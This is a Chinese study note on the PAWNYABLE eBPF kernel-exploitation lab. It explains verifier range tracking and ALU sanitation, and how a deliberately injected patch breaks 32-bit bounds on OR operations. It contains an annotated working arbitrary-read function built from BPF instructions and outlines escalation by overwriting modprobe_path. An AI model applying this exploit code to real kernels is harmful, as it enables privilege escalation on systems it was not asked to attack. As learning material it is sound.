PAWNYABLE kernel ebpf 笔记

这里 pwn ebpf 的逻辑是让 verifier 对数据的范围估算错误,从而越界访问或者有任意读写的效果。

eBPF Docs ebpf 的自己的文档

BPF数据传递的桥梁——BPF Map(一) – My X Files

ebpf 的 maps 创建之后返回一个 fd,因此可以在 user 和 kernel 的空间访问这个 map 里面的数据。

字节码可以参考 【译】eBPF 概述:第 2 部分:机器和字节码 | Head First eBPF

可以不用 c 来写一个 ebpf 程序,能直接用宏来写 ebpf 的机器码,比如 linux/samples/bpf/bpf_insn.h 里面定义的

c

#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

eBPF verifier — The Linux Kernel documentation

检查每个分支的指令,分成两个阶段。

  • 第一次检查使用深度优先搜索确保程序是有向无环图 (DAG)。check_cfg 函数
  • 第二次检查会检查有没有未初始化的寄存器和有无内核地址泄露。do_check 函数

验证器会给寄存器的状态打上标签比如,PTR_TO_STACK 是栈上的值,这个类型追踪的作用是防止把常数当作内存地址加载内容。

不仅仅会考虑某一个类型对应的值的范围比如 u32_min_valueu32_max_value,还会考虑实际计算里面用到的值。追踪的过程发生在 加减乘除 的各个过程中,用于检查内存访问的地址是不是合理的。

有一个比较重要的结构是:为了跟踪范围,每个寄存器有一个 var_off 值,用于记录寄存器中每个位的信息(已知具体值的位)。 mask中在位具有未知值的地方为 1。 value是已知的位置值。

比如,如果所有位都是未知

text

(mask=0xffffffffffffffff; value=0x0)

将此寄存器与 0xffff0000 进行“与”运算,则与 0 进行“与”的部分将变为 0。

text

(mask=0xffff0000; value=0x0)

如果我们添加 0x12345,我们就可以找到低 16 位。

text

(mask=0x1ffff0000; value=0x2345)

mask位增加了一,以允许可能的进位。此时, umin_value 、 umax_value 、 u32_min_value 、 u32_max_value分别为 0x1ffff0000、0x1ffff2345、0xffff0000、0xffff2345。

如果 verfier 算错寄存器的范围了…那可能有问题发生,所以引入了 ALU sanitation 这个新机制。其目的是在运行时,如果寄存器的值不在预期范围内,则阻止 OOB 内存访问。

在进行算术运算操之前,都会使用以下指令修补字节码:

c

*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);

符号的含义:

  • alu_limit 表示可以添加到指针或从指针中减去的最大绝对值
  • off_reg 表示添加到指针寄存器的标量寄存器,而
  • BPF_REG_AX 表示辅助寄存器。 上方这些指令的作用是:如果 off_reg 超过 alu_limit ,或者 off_regalu_limit 具有相反的符号,则 off_reg 的值将被替换为 0,从而使指针算术运算无效。

这个 alu_limit 可能有计算漏洞,[Learning eBPF exploitation]( https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation- (ft.-D-3CTF-d3bpf).html)

出于练习目的,作者手动打上了一个补丁,从而使 ebpf 可以攻击。在 BPF_OR 操作中 scalar32_min_max_or 的这个步骤里面删除了 __mark_reg32_known 调用。

text

7957c7957,7958  
<               __mark_reg32_known(dst_reg, var32_off.value);  
---  
>               // `scalar_min_max_or` will handler the case  
>               //__mark_reg32_known(dst_reg, var32_off.value);

BPF_OR 包括

c

case BPF_OR:  
	dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);  
	scalar32_min_max_or(dst_reg, &src_reg);  
	scalar_min_max_or(dst_reg, &src_reg);  
	break;

首先,用 tnum_or 更新目标寄存器 var_off,这一步计算出来新的 mask 和 value。更新 var_off 后,将调用补丁相关的 scalar32_min_max_or 函数。

c

static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
				struct bpf_reg_state *src_reg)
{
	// 如果低 32 位是常数那么 src_known 为 true
	bool src_known = tnum_subreg_is_const(src_reg->var_off);
	bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
	// 提出之前计算的 dst_reg->var_off 为 var32_off
	struct tnum var32_off = tnum_subreg(dst_reg->var_off);
	s32 smin_val = src_reg->s32_min_value;
	u32 umin_val = src_reg->u32_min_value;

	// 如果 src 和 dst 的低 32 位都是常数
	if (src_known && dst_known) {
		// 补丁
		// 把其低 32 位的范围更新一下。
		// __mark_reg32_known(dst_reg, var32_off.value);
		return;
	}

如果寄存器的低 32 位是常数,则 tnum_subreg_is_const 返回 true。换句话说,当要进行 OR 操作的两个寄存器的最低 32 位都是常量时,应该调用 __mark_reg32_known 。

c

static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
	reg->var_off = tnum_const_subreg(reg->var_off, imm);
	reg->s32_min_value = (s32)imm;
	reg->s32_max_value = (s32)imm;
	reg->u32_min_value = (u32)imm;
	reg->u32_max_value = (u32)imm;
}

__mark_reg32_known使用常量var_off更新s32_min_value 、 s32_max_value 、 u32_min_valueu32_max_value 。

由于没有调用 __mark_reg32_known ,因此32位最小值和最大值仍保持旧值,这样的危害是,可能在 OR 操作之后最大值会比旧值更大,可是算法还是只考虑了旧值的范围,没有更新范围。如果 u32_min_valueu32_max_value 都没有更新,那么当重新计算新的范围时候

text

reg->u32_min_value = max(reg->u32_min_value, var32_off.value);  
reg->u32_max_value = min(reg->u32_max_value, var32_off.value);

假设原始u32_min_valueu32_max_value都等于 X。然后将其与某个常数 Y 进行“或”运算,得到X|Y 。然后,当X|Y > X

text

reg->u32_min_value = max(X, X|Y); // min=X|Y  
reg->u32_max_value = min(X, X|Y); // max=X

这会导致 u32_min_value 大于 u32_max_value 的不合理的情况。

eBPF 允许在指针中添加或减去标量值。指针和标量值算法中的偏移量更新在 adjust_ptr_min_max_vals 中实现。

c

static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,  
				   struct bpf_insn *insn,  
				   const struct bpf_reg_state *ptr_reg,  
				   const struct bpf_reg_state *off_reg)  
{  
  
...  
  
    bool known = tnum_is_const(off_reg->var_off);  
	s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,  
	    smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;  
	u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,  
	    umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;  
  
...  
  
	if ((known && (smin_val != smax_val || umin_val != umax_val)) ||  
	    smin_val > smax_val || umin_val > umax_val) {  
		/* Taint dst register if offset had invalid bounds derived from  
		 * e.g. dead branches.  
		 */  
		__mark_reg_unknown(env, dst_reg);  
		return 0;  
	}  
  
    ...

在标量值跟踪被破坏的情况下,使用 __mark_reg_unknown 会使计算结果变为未知值。那么 unknown 和指针的计算结果是一个标量值,可以被写入 map 中,从而产生泄露。

但是,ALU sanitation 的缓解机制,使得超出范围的引用不再像过去那么简单。不过当函数bpf_bypass_spec_v1返回 true 时,ALU 清理会被跳过。此函数以root权限返回true,因此你仍然可以用root权限尝试越界引用。

目标是创建一个常量,验证器认为该常量是 X,但实际上是 Y(XX!=Y)。具体来说,当 X=0,Y !=0 时,无论将其乘以什么,验证器都会判断它为 0,因此这对于创建超出范围的引用的偏移量很有用。(思路可以看原文,挺巧妙)

不过如果使用普通用户权限运行相同的程序,ALU sanitation 会将加法导致的超出范围的引用转换为加法 0,并且不会泄露任何数据(从一开始输入的值 1 就被检索到,这也表明由于 ALU 清理,加法是没有意义的。)

有一个名为 skb_load_bytes 的辅助函数可以使用,这个作用是用来取得socket傳輸的封包內容,将数据包内容复制到BPF端(map或者stack)。

第一个参数是上下文,第二个参数是要复制的数据包数据的偏移量,第三个参数是目标缓冲区,第四个参数是要复制的大小。调用此函数时,会检查参数是否超出范围,但不受 ALU 清理的影响。因此在函数内部就可以实现作用域外的数据复制。

text

...  
    // R1 --> 0 / actual: 1  
    BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),  
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),  
  
    // R1 --> 1 / actual: 0x10  
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),  
  
    // map[0]に書き込み(ALU sanitationの回避  
    BPF_MOV64_IMM(BPF_REG_ARG2, 0),              // arg2=offset (0)  
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_9),      // arg3=to (&map[0])  
    BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),      // arg4=len (1/0x10)  
    BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8),      // arg1=skb  
    BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  
...

在上面的程序中,使用skb_load_bytes将数据包数据写入 BPF 映射的第 0 个元素(存储在最初获取的地址 R9)。实际上,会写入 0x10 字节,但验证器估计它是 1 个字节,因此允许。

现在有了越界写入,就可以利用了,比如说并排放两个 map,然后覆盖后面的 map 的 ops。

注释了一下作者给的 aar 程序

c

/**  
 * 任意地址写
 */  
unsigned long aar64(int mapfd, unsigned long addr) {  
  char verifier_log[0x10000];  
  unsigned long val;  
  
  val = 1;  
  map_update(mapfd, 0, &val);  
  
  struct bpf_insn insns[] = {  
    // R8 --> context,一般来说 BPF_REG_1 放着 ebpf 的上下文指针
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),  
  
    // R0 --> &map[0]  
    // R9 --> &map[0]  
    BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0 ,把数据 0 放到栈上
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),  
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),  // 取 key 的地址作为第二个参数
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)  
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),   // 如果返回值是 0,那就说明查找失败,需要退出程序
    BPF_EXIT_INSN(),  
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),  // 查找成功获得了一个 ebpf 的地址
  
    // R1 --> var_off=(value=0; mask=0xffffffff00000000)  
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),  
    BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),  
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),  // 左移右移一下
    
    // R2 --> var_off=(value=0xfffffffe00000001; mask=0)  
    BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),  
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1), 
     
    // R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1  
    BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),  
  
    // R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1  
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),  
    BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),  
    BPF_MOV64_IMM(BPF_REG_0, 0),  
    BPF_EXIT_INSN(),  
  
    // R1 --> 0 / actual: 1  
    BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),  
    BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),  
  
    // 将 reg9,存到栈上的 -0x18 位置
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),  
  
    // R1 --> 1 / actual: 0x10  
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),  
  
    // 利用 skb_load_bytes 来 bypass ALU 检查,这样就把刚刚的地址给修改了(程序以为只改了 1,实际上有 0x10)
    BPF_MOV64_IMM(BPF_REG_ARG2, 0),              // arg2=offset (0)  
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),     // arg3=to (FP-0x20)  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  
    BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),      // arg4=len (1/0x10)  
    BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8),      // arg1=skb  
    BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  
  
    // 获取刚刚被修改的指针 到 REG0
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),  
  
    // 这样就可以任意读了,读到 R1 里面
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // 偽ポインタから読み込み  
  
    // 再把读取的数据放到 map 的 value 里面
    BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),  
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),  
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),  
    BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value  
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),  
    BPF_MOV64_IMM(BPF_REG_ARG4, 0),          // flag  
    BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem  
  
    BPF_MOV64_IMM(BPF_REG_0, 0),  
    BPF_EXIT_INSN(),  
  };  
  
  /* bpf 的设置 */  
  union bpf_attr prog_attr = {  
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,  
    .insn_cnt = sizeof(insns) / sizeof(insns[0]),  
    .insns = (uint64_t)insns,  
    .license = (uint64_t)"GPL v2",  
    .log_level = 2,  
    .log_size = sizeof(verifier_log),  
    .log_buf = (uint64_t)verifier_log  
  };  
  
  /* 加载 BPF 程序 */  
  int progfd = bpf(BPF_PROG_LOAD, &prog_attr);  
	  if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");  
  
  /* 创建套接字 */  
  int socks[2];  
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))  
    fatal("socketpair");  
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))  
    fatal("setsockopt");  
  
  /* 使用套接字(激活 BPF 程序) */  
  char payload[0x10];  
  *(unsigned long*)&payload[0] = 0x4141414141414141;  
  *(unsigned long*)&payload[8] = addr; // リークするアドレス  
  write(socks[1], payload, 0x10);  
  
  map_lookup(mapfd, 0, &val);  
  return val;  
}  

总的 exp 的思路就是首先泄露 map 的地址,然后 aar 读取 map 的 ops 地址(这是一个内核的地址),然后 aaw 去修改 modprobe path。

懒狗写 exp 了…不想搓 www

Kernel Pwning with eBPF - a Love Story - chompie at the bits

[Learning eBPF exploitation]( https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation- (ft.-D-3CTF-d3bpf).html)